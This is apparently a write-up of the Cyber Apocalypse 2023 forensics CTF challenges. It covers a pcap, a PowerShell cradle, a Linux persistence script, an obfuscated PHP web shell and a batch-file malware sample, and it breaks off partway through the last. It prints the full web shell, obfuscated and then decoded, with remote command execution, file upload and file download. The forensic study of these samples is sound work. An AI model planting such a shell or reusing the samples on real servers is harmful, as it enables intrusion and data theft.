Cyber Apocalypse 2023: The Cursed Mission - Forensics

Mon, 27 Mar 2023 00:00:00 +0000

Table of Contents

Plaintext Tleasure

Given file: Get it here!
Description: Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.
Category: Forensics
Difficulty: Very Easy

We are given a network pcap file. Although we can solve this challenge using Wireshark, but to keep it simple for the very first challenge, we will use strings and grep to get the flag.

Here we use strings to dump out strings from the pcap file, then use pipe (|) and grep to find for strings that match the flag format - HTB{.

Flag is: HTB{th3s3_4l13ns_st1ll_us3_HTTP}

Alien Cradle

Given file: Get it here!
Description: In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?
Category: Forensics
Difficulty: Very Easy

For this challenge, we are given a Powershell Script file. In the script, the flag is being concatenated using some Powershell ~~magic~~ lines of code.

Flag is: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}

Extraterrestrial Persistence

Given file: Get it here!
Description: There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?
Category: Forensics
Difficulty: Very Easy

In this challenge, we are given a shell script to look for the flag.

For the sake of understanding the flow of shell scripting, the script checks whether the username is Pandora and the hostname is linux_HQ. If the check is fulfilled, it starts the process to write the base64 decoded message into the file /usr/lib/systemd/system/service.service.

The decoded message turned out to contain the flag for our challenge.

Flag is: HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Roten

Given zip: Get it here!
Description: The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyze, its up to you to save us.
Category: Forensics
Difficulty: Easy

After filtering the packets by http.request.method == POST, we saw an interesting packet there.

The packet 1929 has a MIME type of application/x-php, following the HTTP stream to see the php backdoor, we found this interesting php codes:

<?php
$pPziZoJiMpcu = 82;
$liGBOKxsOGMz = array();
$iyzQ5h8qf6 = "" ;
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e =p xt\" ?ltps vdfic-xetrmsx'l0em0 o\"oc&'t [r\"e _e;eV.ncxm'vToil ,F y";
$iyzQ5h8qf6 .= "<r s -<a \"op r_P< poeeihaeild /ds\"se4bsxao1: r]du ;e\$'o,t dn\n)i\$'me'maoate{e I!lb>'u btde .sr ege/ han:t";
$iyzQ5h8qf6 .= "elrlenjl t>( 0'eCdd0 l et0\n'seu u it ;e_ dc>ulUd'T\nxe\$L<er<.l oh>c ii aert pdt iai(ed.QiJr\n\$i0; 0\"e0' d= ex ].xp\$r re \nwSn'u<lup ]o iluE/=>b\$t r>\n";
$iyzQ5h8qf6 .= "h rxn ltmb \n'-aodd') bubaa\nff0 i0] )- [ &\"4 ==e[wn (r #iEa tftelF)U sspSb\"'rd dO o e_t ppso \n]DpneaC;aoesvp\ni( }f0 & ' \"( ]0 =sc'o \$s #nRmaeoi=oi)p te";
$iyzQ5h8qf6 .= "l[>c;>ia ew agP aw(d i;ep:rto\nnor/a/<l )\n( = ?;\$r\$0 0 'puwr\$\$d\" fgVeu'rp'al l s o'<o\n<rs rn \" leeetu\$y f\nsl (en dtyjS3?e\$ ) 0 \ngem0= xrtrlsdi; l E=t>ma\"d";
$iyzQ5h8qf6 .= "e{o iafbl\nb. }ee < ptrchid> cia''t s qc.p)m{ \$ (0' rao0 ) 'ieid;ir\n adR'o\\ r.''\na ifdiro >'\$\ndr<t apmh(di\" ( rctE)";
$iyzQ5h8qf6 .= "e mtlur3h;o m{\$2x odd0( )n't[\nr) gi[dcnat\$ d n Dl>r R k}\"<tr twso\$(r; i iatx;n iriei.p\nd\$ o m0' u\"e1\$\$ ";
$iyzQ5h8qf6 .= " t]e'} ) } r'io\"c/_in ' (ie': e&e\n>/b> hu( df)\n s ptap\nt nabrp6\n et d\$o0 p] )ogi?f)'r\n= \n=ePrm;tfGda";
$iyzQ5h8qf6 .= " ]e\"mrT;r s&ye\nto\" (i\$\"ii e s tici - ipryt/\n y etd): [ & wrf (;]e\n { cH'p\nioE=m [c.oeo\ne u c hd; \$dd<rl.c e iohr L fca/ jf &p ye ";
$iyzQ5h8qf6 .= "\"= ?no('\"\n,a\n\$\n HtP leorT'e 'h\$vcU d l'=h >y\n d(it.e h t onme e idr1-su e &p ?' e 0 eu t% d\$_ To_vecnm[f= nouetp \" t.";
$iyzQ5h8qf6 .= ">o \n> eifrd'o\"o ( n/es n eny.-/n 0=e e& - x(0'rp\$'1 \$'dP BrSath=-'i' a p_ol > \$ \n cri)>/w< \$i🔛 g ";
$iyzQ5h8qf6 .= "d. 1>bc x'l0= ''\$e\$0x[[m s g]iO {yEleo'ddls m\"luro E}o_\$\"< < h.l <'n/\" _f ct t c-2\not 2dsx'0w;gcm0''\"o:% r,rS W Lu= \"aieu\$e<opya r\nfG";
$iyzQ5h8qf6 .= "v<t ? o'e.a.et< G Ft;0 h Co-.<oi 0'eAs0'\nruo2 eed 1 o T 0\"Fe'\".trTbu'bal)d r\n Eabh p /o \$rd/ E(ie ' :eSm>2stoi0; 0'4 otd):xxe's u\$=[ ";
$iyzQ5h8qf6 .= " w '=o<\$a'omp]rdo)' o}cTlre h \"'w\"hv(>t Tfltf) xS/\n/csnf0 i0;0: uee ee T% pw ' \$_.]\"f/_']Uil)>Da ] r\no[u>a p <.n<ra\$\\a [ie-i; 'i b<jrt ( }f0 0 ";
$iyzQ5h8qf6 .= "p\" ?'cc&'1 [o\$d dR ..ffS>.pto;<id{[} \nm'e\"d \n t\$e/eldnb 'l sl\n t-osqirp )\n( })' []& -uu ;s\$'r_ii iO\$\"\$'oE";
$iyzQ5h8qf6 .= "\\\"l'a\nbre\n' uimc);> fidvrtfui\"l deTte .;-ocupar\$ )\n - \" ''tt0\n\"selGrf rtd'd rRn'o>d red nepfam \n\n<o";
$iyzQ5h8qf6 .= "f>a(d=er;e o_rrn h \n>tretpim{ \$ ?' w=0w;eex ,.xdE' _i iamV\"/a\"D >c_ all nd{? tr <l\$>').\n> weaea ef \nsir .no ";
$iyzQ5h8qf6 .= "m{ ; r 0'\n'\"2 =e[T](\$=Armru>E;>d;i <tf mso(d'\n> he(aud\\\" ' \" nxnam ai <tpysmtd\$ o '\n i(0 ]]0 \$sc'[;if _ e.t\"R\n '\nr boi eeai ] \n >ai ein../ ; lisme ";
$iyzQ5h8qf6 .= "dl lrt.riPet d\$ r \$t\$0: = 0 opuw'\nsi'D.t\"o;[e\">ee rl ' dse, \n Pcsh)r\" ' \n osf'= ee ia mcne y et ' gem4 == wrtrd}_l.a h f\n'c;\\cc sye ]{isx <";
$iyzQ5h8qf6 .= " eh_r .;\$\". \n ate)\" rs npsi=.r&p y r\"o)' ' ) nieii\nfe/Y\"o/oePh\nnht t.( .\nnee\$ t r de.'\n_'\$ \n dsr;' (i k/rn\"jm e &p : o]d - x( en'tr\$i '}<d>ccHoe<o";
$iyzQ5h8qf6 .= "o y\"\$ ' gtcc a<m(if / S>v ? '('\n. 'z 3c.hss0=e e u e?' '\$\$ rt]e'fl=;\n/=\"uhP cb ril._ (um bti\$r=\"' E\"a > ]\$) b Pe r.=jt\"(x'l0=e' p= ; )gw\$[f)']ie \n\$h";
$iyzQ5h8qf6 .= "';so_\"hr\"yfe<F u f\$td lrsd('/. R.l \n )f; a r(}e3\"st>\$1csx'l- [ &'\n ros'(;];l(\$}d2G\n> S<o>< =/I p i_ir e>sir\"'\$ V u}\n )i\n s a\$\nl.h\"p<f0'e8l";
$iyzQ5h8qf6 .= "s' \"( r i?or=r\"\n,\ne\$d\ni>Ee\\\"Ei </=('bL l lGoe \nire.>v E\$e\n\n l ehgf}=6t>:/i0; 0'e;\$r\$0' f ulse% i di\$r\"Tcn\\Ln\"id fc>E o eEns c osa \"a Rv) \n {e";
$iyzQ5h8qf6 .= " nemi\n\"/t</sl0 i0; \noem0 ('pdpa1 \$f=irds;'h<nFp<ni\$io<S a T:u l n l\$.l [a) < \n) aaal\nscp//ce }f0 \$ wao0: s[[rds w r;i \n>o";
$iyzQ5h8qf6 .= "i<'uipvdll/[ d '[ l a sap_ u 'l[ / ) md:e?tsssmr))\n( }t ndd1 \$''\"i'% o(')\nr=e\" nb]tnu>ieob' e .'<t s <saS\$e}Pu";
$iyzQ5h8qf6 .= "n d ee )>ys:cai )\ny e\"e0' m een]1 ri') c;\"pr. pt\"r_rrfed \$c/) s / tEv)\nHea i { (rp)\nl//rxp{{ \$ p r] )- o:xxt,s ls; =sh\n<u>\"tu";
$iyzQ5h8qf6 .= " ;.e:>ic umb; = t\$hRa) P m v \n \$(u;\neb/ict\n m{ e [ & ' d eef % ds\n{ coeit\\'ytt\n'xr<lhs pd>\n \" hk(Vl[ _.e > f'b\n<soapd> \$ o = \"=";
$iyzQ5h8qf6 .= " ?;\$e'cc(\$1 [ei\n ra cn n p y\n/ie/eou l'< et >e\$Eun S ] \n iCl hhojtn\n t d\$ ' e 0 \nw Suu\"os\$'tf en\"hpt<metpi'sdbT c o]b ca";
$iyzQ5h8qf6 .= "<\nydRea E\" e< hlai teta>.\n y et u x(0' o&'tt%w\"se( ad\\ouyde=yef.t'ro'c a)r hbt i[ m L<.c/ eecc mesx\nb< p y '\$e\$0x r ;ee1n,.x\$( lin tpit'p";
$iyzQ5h8qf6 .= "= bs>>U<e d)> olh =r'.e F/\"hh \$ a)h' ltt.\nod e &p ;ocm2' l0\n'\"se =e_\$ pr<\" evhhe'(a(E\"pbseD \" e> >.P ] 'a<ot f hd.e) >\"r";
$iyzQ5h8qf6 .= "g<oi =e e \nwuo0 dx ]]\"r\$scPd a(b<t= oi=sis\$r;lrsci{; \" N 'H\" ]>/ m i ee'-; \n ao!tv 'l0=e ntd): [8 = ,[gpuOi t\$riy'cdd'useur\no>fhr\n\n \$ta \$/P<.e <t\"";
$iyzQ5h8qf6 .= "l l ar\"C\n <hpo-s psx'l eee \"0 == 'rrtSr hd>npsl=dfbsnpo a<uoe vam v'_/ l./d<> e d('o !r.g-tc\$'e6-s r\" ?' e0 ' \$woieT (i<peua'eime";
$iyzQ5h8qf6 .= "alr dbl c fabe<a.Sa\"s t>/ e')n -eml rlm; 0'e []& - x x(trun'[= \$rfu=bsPnlitmo. 'rl't oll</l\$E><e\"d<t = rC;t -fieLaao i0; \" ''\$e) ";
$iyzQ5h8qf6 .= "'\$yipt]'= d)ot'msO'et(ea ]>y<o rue/tuvL</ ?>tr (o\nr =naapsd}f0 i w=0w;wc )wpt[f)d i;r ti=S ''\$(dF [< br ee-treaF/t{d<d> \$h";
$iyzQ5h8qf6 .= "'n o L\".ptcse\n( }f r 0'\nou\$ oee'(;iN r\nmtet'Tn _\$Di 'biry a hh>)l'td\not>\" _eCt l rahcied= )\n( i(0 rtoi?r)'r\"\nrU e.e yx'n'anvP_il t>n>. c";
$iyzQ5h8qf6 .= "\\o>\n u]d> wd ; Gaoe : ettsssn\"= \$ \$t\$4: lewf l;]e% 'L c'capt a maaOFre mF <' hnv\n {e >< n>\"\n Ednn aets.t.c m{ \$oem0 d\"n('d\n,a1 ]L h/hce'vveemlS";
$iyzQ5h8qf6 .= "Ie }pi'b<ee <e \n).<t l\" } Tett m dsp\"c cof o mw\"o)' []e s[ ds ) o'ot= abn=euTLca\n_l.r/cx(br ) td o..\n [re- u ft:>oconi d\$ on]d - ";
$iyzQ5h8qf6 .= "\" r\$'' \$'% )oe . i'nlac'=e[Etl ne\$>bhe\$r )\"d> a e '(nD s i /\nmomtl et de e?' w=[m e o]1 rc\$\$\"ohaurtd'='Sor a d<>occ>t < ?> dppc d";
$iyzQ5h8qf6 .= "'ti t lc/\n/m/ae y er= ; r \"o:x w,s { hfv<nime-yif's[re m'ib< (m\"a / {d\"\" =orh oC-s -heom<apbip &p [ &'\n i(ed e n % \n!oiah=de=fpriUu'ya e.r b\"'d;b t";
$iyzQ5h8qf6 .= " \ni. \"sio woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1 i ll2'd='oe'lpbf)d '\$.sr<cr\nl h r . .in ";
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = "";
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; }
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz));
$bhrTeZXazQ = "?>$bhrTeZXazQ";
eval( $bhrTeZXazQ );
?>

That doesn’t look nice, let’s replace eval by echo and execute this to see decoded codes:

?><?php

if (isset($_GET['download'])) {
 $file = $_GET['download'];
 if (file_exists($file)) {
 header('Content-Description: File Transfer');
 header('Content-Type: application/octet-stream');
 header('Content-Disposition: attachment; filename="'.basename($file).'"');
 header('Expires: 0');
 header('Cache-Control: must-revalidate');
 header('Pragma: public');
 header('Content-Length: ' . filesize($file));
 readfile($file);
 exit;
 }
}

?>

<html>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">

<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>

<!-- Latest compiled JavaScript -->
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>

<div class="container">

<?php

function printPerms($file) {
 $mode = fileperms($file);
 if( $mode & 0x1000 ) { $type='p'; }
 else if( $mode & 0x2000 ) { $type='c'; }
 else if( $mode & 0x4000 ) { $type='d'; }
 else if( $mode & 0x6000 ) { $type='b'; }
 else if( $mode & 0x8000 ) { $type='-'; }
 else if( $mode & 0xA000 ) { $type='l'; }
 else if( $mode & 0xC000 ) { $type='s'; }
 else $type='u';
 $owner["read"] = ($mode & 00400) ? 'r' : '-';
 $owner["write"] = ($mode & 00200) ? 'w' : '-';
 $owner["execute"] = ($mode & 00100) ? 'x' : '-';
 $group["read"] = ($mode & 00040) ? 'r' : '-';
 $group["write"] = ($mode & 00020) ? 'w' : '-';
 $group["execute"] = ($mode & 00010) ? 'x' : '-';
 $world["read"] = ($mode & 00004) ? 'r' : '-';
 $world["write"] = ($mode & 00002) ? 'w' : '-';
 $world["execute"] = ($mode & 00001) ? 'x' : '-';
 if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
 if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
 if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
 $s=sprintf("%1s", $type);
 $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
 $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
 $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
 return $s;
}


$dir = $_GET['dir'];
if (isset($_POST['dir'])) {
 $dir = $_POST['dir'];
}
$file = '';
if ($dir == NULL or !is_dir($dir)) {
 if (is_file($dir)) {
 echo "enters";
 $file = $dir;
 echo $file;
 }
 $dir = './';
}
$dir = realpath($dir.'/'.$value);
##flag = HTB{W0w_ROt_A_DaY}
$dirs = scandir($dir);
echo "<h2>Viewing directory " . $dir . "</h2>";
echo "\n<br><form action='".$_SERVER['PHP_SELF']."' method='GET'>";
echo "<input type='hidden' name='dir' value=".$dir." />";
echo "<input type='text' name='cmd' autocomplete='off' autofocus>\n<input type='submit' value='Execute'>\n";
echo "</form>";
echo "\n<br>\n<div class='navbar-form'><form action='".$_SERVER['PHP_SELF']."' method='POST' enctype='multipart/form-data'>\n";
echo "<input type='hidden' name='dir' value='".$_GET['dir']."'/> ";
echo "<input type='file' name='fileToUpload' id='fileToUpload'>\n<br><input type='submit' value='Upload File' name='submit'>";
echo "</div>";

if (isset($_POST['submit'])) {
 $uploadDirectory = $dir.'/'.basename($_FILES['fileToUpload']['name']);
 if (file_exists($uploadDirectory)) {
 echo "<br><br><b style='color:red'>Error. File already exists in ".$uploadDirectory.".</b></br></br>";
 }
 else if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadDirectory)) {
 echo '<br><br><b>File '.$_FILES['fileToUpload']['name'].' uploaded successfully in '.$dir.' !</b><br>';
 } else {
 echo '<br><br><b style="color:red">Error uploading file '.$uploadDirectory.'</b><br><br>';

 }

}

if (isset($_GET['cmd'])) {
 echo "<br><br><b>Result of command execution: </b><br>";
 exec('cd '.$dir.' && '.$_GET['cmd'], $cmdresult);
 foreach ($cmdresult as $key => $value) {
 echo "$value \n<br>";
 }
}
echo "<br>";
?>

<table class="table table-hover table-bordered">
 <thead>
 <tr>
 <th>Name</th>
 <th>Owner</th>
 <th>Permissions</th>
 </tr>
 </thead>
 <tbody>
<?php
foreach ($dirs as $key => $value) {
 echo "<tr>";
 if (is_dir(realpath($dir.'/'.$value))) {
 echo "<td><a href='". $_SERVER['PHP_SELF'] . "?dir=". realpath($dir.'/'.$value) . "/'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] . "</td><td> " . printPerms($dir) . "</td>\n";
 }
 else {
 echo "<td><a href='". $_SERVER['PHP_SELF'] . "?download=". realpath($dir.'/'.$value) . "'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] ."</td><td> " . printPerms($dir) . "</td>\n";
 }
 echo "</tr>";
}
echo "</tbody>";
echo "</table>";

?>

</div>
</html>

Looking at the comment, we can see the flag there.

Flag is: HTB{W0w_ROt_A_DaY}

Relic Maps

Given file: Get it here!
Description: Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Forensics
Difficulty: Medium

From the link attached to this challenge, we get an Onenote file named relicmaps.one. Analyze the file, we get 2 suspicious links, which lead us to 2 different files, http://relicmaps.htb/uploads/soft/topsecret-maps.one and http://relicmaps.htb/get/DdAbds/window.bat.

I did some analysis on the file topsecret-maps.one, and there are only some PNGs inside it. In the window.bat file, we are given a Powershell Script. You can run it directly, but I choose to deobfuscate using Python to understand its flow.

dict = """
%eFlP%"ualBOGvshk=ws"
%eFlP%"PxzdwcSExs= /"
%eFlP%"ndjtYQuanY=po"
%eFlP%"cHFmSnCqnE=Wi"
%eFlP%"CJnGNBkyYp=co"
%eFlP%"jaXcJXQMrV=rS"
%eFlP%"nwIWiBzpbz=:\"
%eFlP%"xprVJLooVF=Po"
%eFlP%"tzMKflzfvX=0\"
%eFlP%"VCWZpprcdE=1."
%eFlP%"XzrrbwrpmM=\v"
%eFlP%"BFTOQBPCju=st"
%eFlP%"WmUoySsDby=he"
%eFlP%"tHJYExMHlP=rs"
%eFlP%"JPfTcZlwxJ=do"
%eFlP%"VxroDYJQKR=y "
%eFlP%"UBndSzFkbH=py"
%eFlP%"KXASGLJNCX=ll"
%eFlP%"vlwWETKcZH=em"
%eFlP%"OOOxFGwzUd=e""
%eFlP%"NCtxqhhPqI=32"
%eFlP%"GOPdPuwuLd=\W"
%eFlP%"XUpMhOyyHB=ex"
%eFlP%"cIqyYRJWbQ=we"
%eFlP%"kTEDvsZUvn=nd"
%eFlP%"XBucLtReBQ=Sy"
%eFlP%"JBRccySrUq=ow"
%eFlP%"eNOycQnIZD=xe"
%eFlP%"chXxviaBCr=we"
%eFlP%"YcnfCLfyyS=in"
%eFlP%"lYCdEGtlPA=.e"
%eFlP%"pMrovuxjjq=he"
%eFlP%"UrPeBlCopW=ll"
%eFlP%"ujJtlzSIGW= C"
%eFlP%"zhNAugCrcK="%~0."
%eFlP%"ZqjBENExAX=s\"
%VhIy%"dzPrbmmccE=cd"
%VhIy%"xQseEVnPet= "%~dp0""
%eUFw%"wxzMwkmbmY=gDBN"
%eUFw%"VavtsuhNIN=F'[-"
%eUFw%"AHKCuBAkui=r = "
%eUFw%"ARecVABHyu=uZOc"
%eUFw%"AbZpTpKurz=6] -"
%eUFw%"BaMYsIgnsM=$uZO"
%eUFw%"JBUgbyTPxp=m(, "
%eUFw%"vGOYQQYIpx=.-16"
%eUFw%"yPzFwnsYdA= New"
%eUFw%"zuIYfGJIhV=O.Me"
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"""
ls = dict.split('\"')
txt = {}
k = 0
tmp = ''
enc = '%CJnGNBkyYp%%UBndSzFkbH%%ujJtlzSIGW%%nwIWiBzpbz%%cHFmSnCqnE%%kTEDvsZUvn%%JBRccySrUq%%ZqjBENExAX%%XBucLtReBQ%%BFTOQBPCju%%vlwWETKcZH%%NCtxqhhPqI%%GOPdPuwuLd%%YcnfCLfyyS%%JPfTcZlwxJ%%ualBOGvshk%%xprVJLooVF%%cIqyYRJWbQ%%jaXcJXQMrV%%pMrovuxjjq%%KXASGLJNCX%%XzrrbwrpmM%%VCWZpprcdE%%tzMKflzfvX%%ndjtYQuanY%%chXxviaBCr%%tHJYExMHlP%%WmUoySsDby%%UrPeBlCopW%%lYCdEGtlPA%%eNOycQnIZD%%PxzdwcSExs%%VxroDYJQKR%%zhNAugCrcK%%XUpMhOyyHB%%OOOxFGwzUd%%dzPrbmmccE%%xQseEVnPet%%eDhTebXJLa%%vShQyqnqqU%%KsuJogdoiJ%%uVLEiIUjzw%%SJsEzuInUY%%gNELMMjyFY%%XIAbFAgCIP%%weRTbbZPjT%%yQujDHraSv%%zwDBykiqZZ%%nfEeCcWKKK%%MtoMzhoqyY%%igJmqZApvQ%%SIQjFslpHA%%KHqiJghRbq%%WSRbQhwrOC%%BGoTReCegg%%WYJXnBQBDj%%SIneUaQPty%%WTAeYdswqF%%EdLUuXiTNo%%rVOFKTskYR%%nMLIkcyFZj%%jtkYEPXtKX%%RWcegafVtf%%KhyyrSrcKr%%zDUDeXKPaV%%VZAbZqJHBk%%XClTzcVMGM%%xVIsxobyZi%%qpUykKHwzb%%iKAAuWsbec%%cYinxarhDL%%olHsTHINJO%%uynFENuiYB%%WauWfrgGak%%tzSNMWchGN%%oFspIELDJK%%FijcPoQLnC%%AbMyvUGzSH%%LmCknrHfoB%%GDXqElqPYy%%gqUdnmSTUN%%YlKbYsFYPy%%GLwLVWewUj%%EQAuBusyXb%%yOkBDuSVrl%%FraARuTjiq%%hwZKiiLqAE%%ahbOZSBViB%%djeIEnPaCg%%AiqHTcPzsv%%JCuNlxqlBZ%%TYbHmXrqgV%%sLNudRRtUX%%dbDMRBPrxg%%XEyDmChJvW%%KytxcYPZKt%%GWrDWSvoPL%%haSZYOmkiA%%JhYYmEHfJT%%LPGeAanVGt%%hTTJOKGuzo%%MFRjJyYsrs%%kpEWZrtOzX%%BrDOtQoojB%%YnGvhgYxvb%%cUDojRpXKx%%rSVBNvbdPT%%kJjQuXIjOT%%tVtxVGNpFB%%BqEMjgsfHM%%fVHBRsLNUl%%jgiQdwyxFg%%HLynrUfwGo%%FCBcNynRGD%%VavtsuhNIN%%HUAAetwukX%%nogFGGEgdF%%iHRclHpeVX%%MrNTGKcbYu%%bTHJpHTPMM%%QbKdEZdxpx%%drymkVAnZW%%DDiJEpaiME%%OAsjgKHKoH%%HFLAqJuuyu%%gFQQimTbzp%%YULKJDZpgz%%oQYrpYRHsU%%VGKsxiJBaT%%RGlZIMTaRM%%JenYfqHzBk%%vmIEtsktnA%%TypmIIEYJC%%eQPFkQsLmh%%AkaPyEXHFq%%BANrSlObpx%%LIQYgFxctD%%ZygfZJxAOd%%KXttaDcyMZ%%brwOvSubJT%%hVncqdtHrj%%OonlMOpxYC%%CZpuCIcrKh%%owRVWPJqcX%%jugDlMdkcG%%DXdgqiFTAH%%acXjUrxrpX%%eYuashSMjP%%ESpdErsKEO%%kQQvXhxXIT%%pLUeCEDcNj%%pTKKchMUFD%%ZMNBNnhYdl%%KVdpASYkBZ%%OpWuyrggtP%%uDsfTCYsro%%wEZCzuPukj%%jCsFOJQsdv%%hbFnQgCXwX%%UFSmCjquVd%%BMVjGSkNrk%%MFpVhvZMMs%%SRYmoDJgcF%%svwZUufvHX%%WPGlloqWfh%%kEHDlJOIVc%%jdKMRqipbM%%pEeOvclMbZ%%nMbUuONTOk%%GwAFOSfUtV%%gbVsRGzTij%%ybHVOwcPrc%%CpAQgSdzaC%%XqtgTmRIdO%%pUKFMEPFQs%%QpDqsQAemY%%CZTFliIBbC%%EuMCNHEVeC%%dyJHMHMcNc%%LNwemqbftD%%VnDoNvCbDL%%mFZJVdqlTD%%vGOYQQYIpx%%GzBAHPVuTq%%fLycQgNMii%%ZPlPiozEyW%%xULgeMdzcg%%iVrCyJhMiJ%%dlzhxQnMss%%pqWXTkasXe%%doKcadyJqy%%hNwOTmvEJo%%yqhJQSZuJo%%JPOdGPAwht%%rEvTlCThdH%%PwJJFMgamh%%eeacPrYshd%%LYxpWUVnyn%%YRqcyngfyU%%IAkZpnEseT%%DAaZVQYtML%%QTBYjmNXEB%%lSUnvlNyZI%%pCjFJxRqgH%%oMsMdPYmPd%%AGOCIKFMEK%%dAuevoJWoL%%uwRWnyAikF%%mBIWiJNHWZ%%RfMwENsorP%%gbXeIdPSoj%%kxCYxBSxVM%%AbZpTpKurz%%glRvzlEEoe%%TVsNOuCNZd%%VUsEoebHks%%tuAPcYGhzl%%WojQSFImBz%%NXvoEmTmgu%%jWtWLzuDKP%%NvnNgHLBLJ%%vPgKEvZmlQ%%ftaecaUnft%%lfCLMrJHhW%%ArAxZuPIrp%%zhsTKtujLg%%MxwsyqmvYm%%MsfoqNTDfI%%klVPUdMJas%%XzWakcViZI%%htJeDhbeDW%%ARecVABHyu%%EDuGpmwedn%%SKEwAQBRlN%%bIgeRgvTeJ%%AnKEeEZdOq%%KXapePmHCe%%YKwLsVwqOj%%QCZuMFaZsV%%RycUceHQZc%%TOqZKQRZli%%hIpFAiXGDz%%PmpGnAHBIo%%nGqMpclaJV%%NbOjNijxuU%%hbnAmGyJMk%%jpqWVBsCpx%%WXWHLOygSe%%rjhOhltPzI%%DCnzMxKRnm%%QGiWXkfFPy%%isQISZiBPJ%%iCcGUuJxVn%%dGSGnKbkQW%%gNabAkLFGN%%pibEdoDBbD%%AHKCuBAkui%%YYKSCuCbgJ%%IeRiYUFnCZ%%hzjnwzdyGY%%KAlyOryibJ%%MBvrUwPCDz%%WmHvayPxwd%%reviZiSttH%%wwmTmFdRsZ%%JBUgbyTPxp%%BaMYsIgnsM%%DwiWdAaOiv%%vXewtPjogB%%odWdfvJnBE%%yPzFwnsYdA%%xfHbUEWpFC%%ySgQyAAfQH%%QMmDXFyyag%%xllGdjvUjB%%zuIYfGJIhV%%MmhvJKSdep%%fxpyemHAMo%%eFWpiweoyr%%WQqetkePWs%%qsPTvcejTS%%YiVTQhqRnm%%GEFNspgkfU%%iREuYMPcTg%%rVuFsOUxnm%%UmCJMMMcBg%%VUeZKgDBUe%%roXhULjavE%%uIWSZVpUHl%%ZNBNkxQuUl%%ktDjVGpvOa%%CMHWMmXlZO%%RITIeDNkWx%%UPfjubfNXt%%GTgGJngEbX%%zFvgtBzUer%%TfyrgNGxBL%%hknFiXCnZQ%%xijYXotZPT%%BlIFABuPAW%%GJcpQprPXv%%YmUoUKWAtR%%tHHIjVCHeH%%DNNdkNfTiI%%XEcuUpquLQ%%EUwICZcugV%%MJKqSlzRdg%%FcrKUOEnOU%%EiWocIreAk%%LLNnWnTLBJ%%QzqEkBCLON%%uOGlqENvnk%%TuqTvTpeOG%%USLedfRsdA%%fFqNPWfBWr%%AyyrPvjwjr%%mxXhSCdBil%%MusMeoeDey%%OOiwgwuupI%%WvjMoIIiUn%%TEtLFfgLmA%%rFsKCxpAbv%%hImzprlFyw%%GVIREkvxRa%%qIhOqqdyjR%%shhyfkrTvn%%UAnQUvXBfs%%bSIafzAxiZ%%oNvGdyNkLt%%SCbDgQuqTU%%tBsRPAyhtG%%KUKwZheGNw%%INPLAzQfUo%%ekEoGMuERC%%aGQeJYSFDZ%%LODxmGMGqq%%KtmeCApwQn%%MAPkvbWKbC%%HlBVDpGgba%%ZNnASGtLCj%%IwOqmlYsbl%%JbFOJyRrBm%%TiuQnZmosP%%HkiSTlwlIs%%rofQqYizRu%%OckpqzbYcn%%YJZmDySMUy%%cGJiVEdEzp%%QNxYaFZSBu%%jxjvtHoTnR%%fvEtritbuM%%wxzMwkmbmY%%yZlAoExoOn%%pjrIjvjdGR%%mYyPXMYwYi%%vnHosfjdeN%%LfngwmfRCb%%bivuMABwCB%%GapFScCcpe%%lfYSggLrsL%%GhTXhmRnCR%%ENADhKPHot%%KdByPVjCnF%%PjdRUyhsyG%%kpzxAxFvLw%%rddZbDFvhl%'
for i in enc:
 if i != '%':
 tmp += i
enc = tmp
for i in range(0, len(ls), 1):
 if '=' in ls[i]:
 try:
 txt[ls[i][0:10]] = ls[i][11:]
 enc = enc.replace(ls[i][0:10], ls[i][11:])
 except:
 continue
print(enc)

Which, results in this script:

copy C:WindowsSystem32\WindowsPowerShell
